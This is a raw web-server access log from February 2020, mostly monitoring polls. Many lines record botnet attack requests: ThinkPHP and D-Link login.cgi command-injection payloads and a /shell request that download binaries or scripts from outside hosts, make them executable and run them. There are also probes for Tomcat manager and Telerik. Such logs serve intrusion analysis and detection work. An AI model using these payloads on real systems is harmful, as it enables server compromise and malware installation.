212.91.246.72 - - [10/Feb/2020:22:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.216.231.150 - - [10/Feb/2020:22:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:22:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.130.60.108 - - [10/Feb/2020:22:49:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:22:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.152.74 - - [10/Feb/2020:22:50:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.224.35 - - [10/Feb/2020:22:51:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:22:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.17.205 - - [10/Feb/2020:22:53:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:22:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.64.25.146 - - [10/Feb/2020:22:58:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:22:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:22:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.89 - - [10/Feb/2020:23:03:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.34.172.19 - - [10/Feb/2020:23:05:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.249.60.26 - - [10/Feb/2020:23:06:51 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:52 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:52 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:53 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:53 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:54 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:54 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:55 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.249.60.26 - - [10/Feb/2020:23:06:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [10/Feb/2020:23:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.35.18 - - [10/Feb/2020:23:09:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.151.184.97 - - [10/Feb/2020:23:12:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.233.45.252 - - [10/Feb/2020:23:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:23:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.49.121 - - [10/Feb/2020:23:19:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.35.18 - - [10/Feb/2020:23:21:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.65.206 - - [10/Feb/2020:23:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:23:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.86.196 - - [10/Feb/2020:23:25:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.250.143 - - [10/Feb/2020:23:28:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.233.85.163 - - [10/Feb/2020:23:29:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.146.148 - - [10/Feb/2020:23:29:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:23:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.130.4 - - [10/Feb/2020:23:31:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [10/Feb/2020:23:33:00 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [10/Feb/2020:23:33:01 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [10/Feb/2020:23:33:01 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [10/Feb/2020:23:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.47.140.208 - - [10/Feb/2020:23:36:19 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.128.183.31/arm7;chmod+777+arm7;/tmp/arm7+selfrep.jaws.arm7 HTTP/1.1" 400 329 "-" "Hello, world"
212.91.246.72 - - [10/Feb/2020:23:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.146.203.122 - - [10/Feb/2020:23:44:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.241.0.139 - - [10/Feb/2020:23:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:23:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
117.239.149.94 - - [10/Feb/2020:23:49:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [10/Feb/2020:23:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [10/Feb/2020:23:52:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:23:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [10/Feb/2020:23:52:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [10/Feb/2020:23:52:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [10/Feb/2020:23:52:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [10/Feb/2020:23:53:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
3.135.229.73 - - [10/Feb/2020:23:53:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.200 - - [10/Feb/2020:23:55:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.10.22 - - [10/Feb/2020:23:55:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:23:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [10/Feb/2020:23:56:57 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:23:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:23:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.232.231.156 - - [11/Feb/2020:00:03:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.17.155.94 - - [11/Feb/2020:00:05:55 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.128.183.31/arm7;chmod+777+arm7;/tmp/arm7+selfrep.jaws.arm7 HTTP/1.1" 400 329 "-" "Hello, world"
113.22.21.58 - - [11/Feb/2020:00:06:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.54.139 - - [11/Feb/2020:00:07:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.54.139 - - [11/Feb/2020:00:09:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
